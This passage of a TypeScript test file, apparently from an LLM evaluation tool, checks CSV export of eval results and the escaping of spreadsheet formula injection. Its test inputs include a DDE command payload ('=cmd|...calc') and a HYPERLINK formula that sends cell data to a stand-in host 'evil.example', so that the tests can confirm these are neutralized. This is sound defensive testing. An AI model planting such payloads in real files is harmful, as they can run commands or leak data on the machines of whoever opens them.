namedScores: { accuracy: 0.7, relevance: 0.9 },
failureReason: ResultFailureReason.NONE,
gradingResult: null,
metadata: {},
},
{
testIdx: 1,
promptIdx: 0,
testCase: { vars: { name: 'Bob' }, description: 'Test 2' },
response: { output: 'Second output' },
success: true,
score: 0.6,
namedScores: { relevance: 0.5 },
failureReason: ResultFailureReason.NONE,
gradingResult: null,
metadata: {},
},
],
});
const lines = csv.split('\n').filter((line) => line.trim());
expect(lines[0]).toContain('Metric: accuracy');
expect(lines[0]).toContain('Metric: relevance');
expect(lines[1]).toContain('0.70,0.90');
expect(lines[2]).toContain(',0.50');
});
it('escapes formula-injection payloads when streaming CSV', async () => {
const csv = await runStreamEvalCsv({
vars: ['name'],
prompts: [createCompletedPrompt('Prompt 1', {})],
results: [
{
testIdx: 0,
promptIdx: 0,
testCase: { vars: { name: '=cmd|calc' }, description: 'Test 1' },
response: { output: '=1+2' },
success: false,
score: 0,
namedScores: {},
failureReason: ResultFailureReason.ASSERT,
gradingResult: null,
metadata: {},
},
],
});
const dataRow = (parseCsv(csv) as string[][])[1];
expect(dataRow).toContain("'=cmd|calc");
expect(dataRow).toContain("'=1+2");
// No raw formula trigger survives into a streamed cell.
expect(dataRow.every((cell) => !/^[=@]/.test(cell))).toBe(true);
});
it('should omit derived/aggregate-only metric columns when streaming', async () => {
// Derived metrics live on `metrics.namedScores` but not on
// `metrics.namedScoresCount`, and never appear on per-row outputs. The
// streaming CSV must skip them so it stays consistent with the WebUI path,
// which scans row outputs (see collectNamedScoreNamesByPrompt).
const csv = await runStreamEvalCsv({
vars: ['name'],
prompts: [
createCompletedPrompt('Prompt 1', {
metrics: createPromptMetrics({
namedScores: { accuracy: 0.8, derived_score: 1.6 },
namedScoresCount: { accuracy: 1 },
}),
}),
],
results: [
{
testIdx: 0,
promptIdx: 0,
testCase: { vars: { name: 'Alice' } },
response: { output: 'Alice output' },
success: true,
score: 0.8,
namedScores: { accuracy: 0.8 },
failureReason: ResultFailureReason.NONE,
gradingResult: null,
metadata: {},
},
],
});
const header = csv.split('\n')[0];
expect(header).toContain('Metric: accuracy');
expect(header).not.toContain('Metric: derived_score');
});
it('should backfill metric columns from row outputs when namedScoresCount is missing (legacy evals)', async () => {
// Older eval rows persisted before `namedScoresCount` was reliably populated,
// and external v4 imports via POST /api/eval that don't backfill the count,
// still need their per-row metric columns to appear in CSV exports.
const csv = await runStreamEvalCsv({
vars: ['name'],
prompts: [
createLegacyCompletedPrompt('Prompt 1', {
namedScores: { accuracy: 0.8, fluency: 0.6 },
}),
],
results: [
{
testIdx: 0,
promptIdx: 0,
testCase: { vars: { name: 'Alice' } },
response: { output: 'Alice output' },
success: true,
score: 0.7,
namedScores: { accuracy: 0.8, fluency: 0.6 },
failureReason: ResultFailureReason.NONE,
gradingResult: null,
metadata: {},
},
],
});
const header = csv.split('\n')[0];
expect(header).toContain('Metric: accuracy');
expect(header).toContain('Metric: fluency');
});
it('should keep metric discovery focused for modern evals with empty namedScoresCount', async () => {
// Modern eval where no test uses `metric:` — `namedScoresCount` is
// present-but-empty. The description discovery pass must not invent
// metric columns.
const prompts = [
createCompletedPrompt('Prompt 1', {
metrics: createPromptMetrics({
namedScores: {},
namedScoresCount: {},
}),
}),
];
const chunks: string[] = [];
let fetchPasses = 0;
await streamEvalCsv(
{
vars: ['n'],
prompts,
fetchResultsBatched: async function* () {
fetchPasses += 1;
yield [
{
testIdx: 0,
promptIdx: 0,
testCase: { vars: { n: 'a' } },
response: { output: 'a' },
success: true,
score: 1,
namedScores: {},
failureReason: ResultFailureReason.NONE,
gradingResult: null,
metadata: {},
},
];
},
} as unknown as Eval,
{
isRedteam: false,
write: (data: string) => {
chunks.push(data);
},
},
);
const header = chunks.join('').split('\n')[0];
expect(header).not.toContain('Metric:');
expect(fetchPasses).toBe(2);
});
it('should include descriptions that first appear in a later batch', async () => {
const prompts = [
createCompletedPrompt('Prompt 1', {
metrics: createPromptMetrics({ namedScores: {}, namedScoresCount: {} }),
}),
];
const chunks: string[] = [];
await streamEvalCsv(
{
vars: ['n'],
prompts,
fetchResultsBatched: async function* () {
yield [
{
testIdx: 0,
promptIdx: 0,
testCase: { vars: { n: 'a' } },
response: { output: 'a' },
success: true,
score: 1,
namedScores: {},
failureReason: ResultFailureReason.NONE,
gradingResult: null,
metadata: {},
},
];
yield [
{
testIdx: 100,
promptIdx: 0,
testCase: { vars: { n: 'b' }, description: 'Later description' },
response: { output: 'b' },
success: true,
score: 1,
namedScores: {},
failureReason: ResultFailureReason.NONE,
gradingResult: null,
metadata: {},
},
];
},
} as unknown as Eval,
{
isRedteam: false,
write: (data: string) => {
chunks.push(data);
},
},
);
const csv = chunks.join('');
expect(csv.split('\n')[0]).toContain('Description');
expect(csv).toContain('Later description');
});
it('should detect metric names that first appear in a later batch on legacy evals', async () => {
// EvalResult.findManyByEvalIdBatched yields batches of 100 testIdx, so a
// metric introduced past the first batch would be missed by a first-batch
// scan. Discovery must cover all batches without retaining all CSV rows.
const prompts = [
createLegacyCompletedPrompt('Prompt 1', {
namedScores: { early_metric: 1.0 },
}),
];
const chunks: string[] = [];
let fetchPasses = 0;
const streamedBeforeSecondBatch: boolean[] = [];
await streamEvalCsv(
{
vars: ['n'],
prompts,
fetchResultsBatched: async function* () {
fetchPasses += 1;
yield [
{
testIdx: 0,
promptIdx: 0,
testCase: { vars: { n: 'a' } },
response: { output: 'a' },
success: true,
score: 1,
namedScores: { early_metric: 1.0 },
failureReason: ResultFailureReason.NONE,
gradingResult: null,
metadata: {},
},
];
if (fetchPasses === 2) {
streamedBeforeSecondBatch.push(chunks.length > 1);
}
yield [
{
testIdx: 100,
promptIdx: 0,
testCase: { vars: { n: 'b' } },
response: { output: 'b' },
success: true,
score: 1,
namedScores: { early_metric: 1.0, late_metric: 0.5 },
failureReason: ResultFailureReason.NONE,
gradingResult: null,
metadata: {},
},
];
},
} as unknown as Eval,
{
isRedteam: false,
write: (data: string) => {
chunks.push(data);
},
},
);
const csv = chunks.join('');
const header = csv.split('\n')[0];
expect(header).toContain('Metric: early_metric');
expect(header).toContain('Metric: late_metric');
expect(fetchPasses).toBe(2);
expect(streamedBeforeSecondBatch).toEqual([true]);
});
it('should omit derived/aggregate-only metric columns even on legacy evals without namedScoresCount', async () => {
// Reviewer scenario: an imported eval whose `metrics.namedScores` has both
// row-contributed metrics and an aggregate-only derived metric, but no
// `namedScoresCount`. The legacy backfill must still match the WebUI by
// scanning row outputs (which never carry derived metrics).
const csv = await runStreamEvalCsv({
vars: ['name'],
prompts: [
createLegacyCompletedPrompt('Prompt 1', {
namedScores: { accuracy: 0.8, aggregate_only_average: 0.5 },
}),
],
results: [
{
testIdx: 0,
promptIdx: 0,
testCase: { vars: { name: 'Alice' } },
response: { output: 'Alice output' },
success: true,
score: 0.8,
namedScores: { accuracy: 0.8 },
failureReason: ResultFailureReason.NONE,
gradingResult: null,
metadata: {},
},
],
});
const header = csv.split('\n')[0];
expect(header).toContain('Metric: accuracy');
expect(header).not.toContain('Metric: aggregate_only_average');
});
it('should produce headers consistent with evalTableToCsv for the same data', async () => {
// Locks the docstring invariant that streamEvalCsv (CLI) and evalTableToCsv
// (WebUI) produce the same column layout for the same eval data.
const sharedPrompt = createCompletedPrompt('Explain {{topic}}', {
provider: 'echo',
metrics: createPromptMetrics({
namedScores: { clarity: 0.9, accuracy: 0.8, derived_avg: 0.85 },
namedScoresCount: { clarity: 1, accuracy: 1 },
}),
});
const cliCsv = await runStreamEvalCsv({
vars: ['topic'],
prompts: [sharedPrompt],
results: [
{
testIdx: 0,
promptIdx: 0,
testCase: { vars: { topic: 'gravity' } },
response: { output: 'gravity output' },
success: true,
score: 0.9,
namedScores: { clarity: 0.9, accuracy: 0.8 },
failureReason: ResultFailureReason.NONE,
gradingResult: null,
metadata: {},
},
],
});
const webCsv = evalTableToCsv({
head: { vars: ['topic'], prompts: [sharedPrompt] },
body: [
{
test: { vars: { topic: 'gravity' } },
testIdx: 0,
vars: ['gravity'],
outputs: [
{
pass: true,
text: 'gravity output',
score: 0.9,
namedScores: { clarity: 0.9, accuracy: 0.8 },
} as unknown as EvaluateTableOutput,
],
},
],
});
expect(cliCsv.split('\n')[0]).toBe(webCsv.split('\n')[0]);
});
it('should keep redteam metadata columns aligned when metric columns are present', async () => {
const csv = await runStreamEvalCsv({
vars: ['name'],
prompts: [
createCompletedPrompt('Prompt 1', {
metrics: createPromptMetrics({
namedScores: { accuracy: 0.8, relevance: 0.7 },
namedScoresCount: { accuracy: 1, relevance: 1 },
}),
}),
],
results: [
{
testIdx: 0,
promptIdx: 0,
testCase: { vars: { name: 'Alice' } },
response: { output: 'Alice output' },
success: true,
score: 0.8,
namedScores: { accuracy: 0.8, relevance: 0.7 },
failureReason: ResultFailureReason.NONE,
gradingResult: null,
metadata: { pluginId: 'plg', strategyId: 'strat', sessionId: 'sess' },
},
],
isRedteam: true,
});
const [headerCols, rowCols] = parseCsv(csv) as string[][];
// Header and row must have the same column count so redteam metadata
// columns (pluginId, strategyId, sessionId, …) line up with their headers.
expect(rowCols).toHaveLength(headerCols.length);
const pluginIdHeaderIdx = headerCols.indexOf('pluginId');
const strategyIdHeaderIdx = headerCols.indexOf('strategyId');
expect(pluginIdHeaderIdx).toBeGreaterThan(-1);
expect(rowCols[pluginIdHeaderIdx]).toBe('plg');
expect(rowCols[strategyIdHeaderIdx]).toBe('strat');
});
it('should handle multiple test cases with out-of-order results', async () => {
const mockResults = [
// Test 1 results (out of order)
{
testIdx: 0,
promptIdx: 1,
testCase: { vars: { name: 'Alice' } },
response: { output: 'Alice-P2' },
success: true,
score: 1,
namedScores: {},
failureReason: ResultFailureReason.NONE,
gradingResult: null,
metadata: {},
},
{
testIdx: 0,
promptIdx: 0,
testCase: { vars: { name: 'Alice' } },
response: { output: 'Alice-P1' },
success: true,
score: 1,
namedScores: {},
failureReason: ResultFailureReason.NONE,
gradingResult: null,
metadata: {},
},
// Test 2 results (out of order)
{
testIdx: 1,
promptIdx: 1,
testCase: { vars: { name: 'Bob' } },
response: { output: 'Bob-P2' },
success: true,
score: 1,
namedScores: {},
failureReason: ResultFailureReason.NONE,
gradingResult: null,
metadata: {},
},
{
testIdx: 1,
promptIdx: 0,
testCase: { vars: { name: 'Bob' } },
response: { output: 'Bob-P1' },
success: true,
score: 1,
namedScores: {},
failureReason: ResultFailureReason.NONE,
gradingResult: null,
metadata: {},
},
];
const mockEval = {
vars: ['name'],
prompts: [{ label: 'Prompt 1' } as Prompt, { label: 'Prompt 2' } as Prompt],
fetchResultsBatched: async function* () {
yield mockResults;
},
} as unknown as Eval;
const chunks: string[] = [];
await streamEvalCsv(mockEval, {
isRedteam: false,
write: (data: string) => {
chunks.push(data);
},
});
const csv = chunks.join('');
const lines = csv.split('\n').filter((line) => line.trim());
// Should have header + 2 data rows
expect(lines.length).toBe(3);
// Check Alice row has correct ordering
const aliceLine = lines.find((l) => l.includes('Alice'));
expect(aliceLine).toBeDefined();
const aliceP1Idx = aliceLine!.indexOf('Alice-P1');
const aliceP2Idx = aliceLine!.indexOf('Alice-P2');
expect(aliceP1Idx).toBeLessThan(aliceP2Idx);
// Check Bob row has correct ordering
const bobLine = lines.find((l) => l.includes('Bob'));
expect(bobLine).toBeDefined();
const bobP1Idx = bobLine!.indexOf('Bob-P1');
const bobP2Idx = bobLine!.indexOf('Bob-P2');
expect(bobP1Idx).toBeLessThan(bobP2Idx);
});
});
});
describe('escapeCsvFormula', () => {
it.each([
['=1+1', "'=1+1"],
["=cmd|'/c calc'!A1", "'=cmd|'/c calc'!A1"],
['@SUM(A1:A9)', "'@SUM(A1:A9)"],
['+1+1', "'+1+1"],
['-1+1', "'-1+1"],
['-2+cmd', "'-2+cmd"],
])('prefixes formula trigger %p -> %p', (input, expected) => {
expect(escapeCsvFormula(input)).toBe(expected);
});
it.each([
['\t=danger', "'\t=danger"],
['\r=danger', "'\r=danger"],
[' =danger', "' =danger"],
['\t@SUM(A1)', "'\t@SUM(A1)"],
['\r-1+1', "'\r-1+1"],
['\n\t =evil', "'\n\t =evil"],
])('treats leading whitespace/control before a trigger as a formula (%p)', (input, expected) => {
expect(escapeCsvFormula(input)).toBe(expected);
});
it.each([
['\u200B=1+1', "'\u200B=1+1"],
['\u200C@SUM(A1)', "'\u200C@SUM(A1)"],
['\u200D=cmd', "'\u200D=cmd"],
])('escapes triggers hidden behind zero-width characters (%p)', (input, expected) => {
expect(escapeCsvFormula(input)).toBe(expected);
});
it.each([
['-Infinity', "'-Infinity"],
['+Infinity', "'+Infinity"],
['-1e400', "'-1e400"],
])('escapes non-finite numeric-looking values (%p)', (input, expected) => {
expect(escapeCsvFormula(input)).toBe(expected);
});
it.each([
[
'=HYPERLINK("https://evil.example?x="&A1,"click")',
'\'=HYPERLINK("https://evil.example?x="&A1,"click")',
],
["=cmd|'/c calc'!A1", "'=cmd|'/c calc'!A1"],
])('neutralizes real exfiltration/command payloads (%p)', (input, expected) => {
expect(escapeCsvFormula(input)).toBe(expected);
});
it.each([
['-5', '-5'],
['-5.25', '-5.25'],
['-1e3', '-1e3'],
['+5', '+5'],
['+3.14', '+3.14'],
])('leaves legitimate numbers untouched (%p)', (input, expected) => {
expect(escapeCsvFormula(input)).toBe(expected);
});
it.each([
['hello world', 'hello world'],
['5-3', '5-3'],
['a=b', 'a=b'],
['user@example.com', 'user@example.com'],
['', ''],
[' ', ' '],
['\t\t', '\t\t'],
])('leaves non-formula values untouched (%p)', (input, expected) => {
expect(escapeCsvFormula(input)).toBe(expected);
});
});
describe('evalTableToCsv formula injection (CWE-1236)', () => {
const buildFormulaTable = () => ({
head: {
vars: ['input'],
prompts: [createCompletedPrompt('{{input}}', { provider: 'echo', label: 'Prompt 1' })],
},
body: [
{
test: { vars: { input: '=cmd|calc' }, description: '=danger' },
testIdx: 0,
vars: ['=cmd|calc'],
outputs: [
{
pass: false,
text: '=HYPERLINK("http://evil.example","click")',
failureReason: ResultFailureReason.ASSERT,
gradingResult: { pass: false, reason: '@SUM(A1)', comment: 'plain comment' },
} as EvaluateTableOutput,
],
},
],
});
it('prefixes attacker-influenced cells so spreadsheets do not execute them', () => {
const [headerRow, dataRow] = parseCsv(evalTableToCsv(buildFormulaTable())) as string[][];
expect(dataRow[0]).toBe("'=danger"); // description
expect(dataRow[1]).toBe("'=cmd|calc"); // var
expect(dataRow[2]).toBe('\'=HYPERLINK("http://evil.example","click")'); // model output
const reasonIdx = headerRow.indexOf('Grader Reason');
expect(dataRow[reasonIdx]).toBe("'@SUM(A1)");
// A benign comment is left untouched.
const commentIdx = headerRow.indexOf('Comment');
expect(dataRow[commentIdx]).toBe('plain comment');
});
it('leaves cells raw when PROMPTFOO_DISABLE_CSV_FORMULA_ESCAPING is set', () => {
vi.stubEnv('PROMPTFOO_DISABLE_CSV_FORMULA_ESCAPING', 'true');
try {
const [, dataRow] = parseCsv(evalTableToCsv(buildFormulaTable())) as string[][];
expect(dataRow[1]).toBe('=cmd|calc');
expect(dataRow[2]).toBe('=HYPERLINK("http://evil.example","click")');
} finally {
vi.unstubAllEnvs();
}
});
it('uses the evaluation config env before process.env', () => {
vi.stubEnv('PROMPTFOO_DISABLE_CSV_FORMULA_ESCAPING', 'true');
try {
const [, dataRow] = parseCsv(
evalTableToCsv(buildFormulaTable(), {
env: { PROMPTFOO_DISABLE_CSV_FORMULA_ESCAPING: 'false' },
}),
) as string[][];
expect(dataRow[1]).toBe("'=cmd|calc");
expect(dataRow[2]).toBe('\'=HYPERLINK("http://evil.example","click")');
} finally {
vi.unstubAllEnvs();
}
});
it('uses config.env for full-table evaluation exports', async () => {
const csv = await generateEvalCsv({
config: { env: { PROMPTFOO_DISABLE_CSV_FORMULA_ESCAPING: 'true' } },
getTablePage: vi.fn().mockResolvedValue(buildFormulaTable()),
} as unknown as Eval);
const [, dataRow] = parseCsv(csv) as string[][];
expect(dataRow[1]).toBe('=cmd|calc');
expect(dataRow[2]).toBe('=HYPERLINK("http://evil.example","click")');
});
it('uses config.env for streaming evaluation exports', async () => {
const mockEval = {
config: { env: { PROMPTFOO_DISABLE_CSV_FORMULA_ESCAPING: 'true' } },
vars: ['input'],
prompts: [createCompletedPrompt('{{input}}', { provider: 'echo', label: 'Prompt 1' })],
fetchResultsBatched: async function* () {
yield [
{
testIdx: 0,
promptIdx: 0,
testCase: { vars: { input: '=cmd|calc' }, description: '=danger' },
response: { output: '=HYPERLINK("http://evil.example","click")' },
success: false,
score: 0,
namedScores: {},
failureReason: ResultFailureReason.ASSERT,
gradingResult: { pass: false, reason: '@SUM(A1)', comment: 'plain comment' },
metadata: {},
},
];
},
} as unknown as Eval;
const chunks: string[] = [];
await streamEvalCsv(mockEval, {
write: (data) => {
chunks.push(data);
},
});
const [, dataRow] = parseCsv(chunks.join('')) as string[][];
expect(dataRow[1]).toBe('=cmd|calc');
expect(dataRow[2]).toBe('=HYPERLINK("http://evil.example","click")');
});
it('escapes formula triggers in header cells (var name and bare prompt label)', () => {
// A var named "=evil" and a provider-less prompt label "=cmd()" both land in the
// header row; the csvStringify-boundary escaping must cover headers, not just body.
const table = {
head: {
vars: ['=evilVar'],
prompts: [createCompletedPrompt('{{x}}', { provider: '', label: '=cmd()' })],
},
body: [
{
test: { vars: { '=evilVar': 'v' }, description: 'd' },
testIdx: 0,
vars: ['v'],
outputs: [{ pass: true, text: 'ok' } as EvaluateTableOutput],
},
],
};
const [headerRow] = parseCsv(evalTableToCsv(table)) as string[][];
expect(headerRow).toContain("'=evilVar");
expect(headerRow).toContain("'=cmd()");
});
});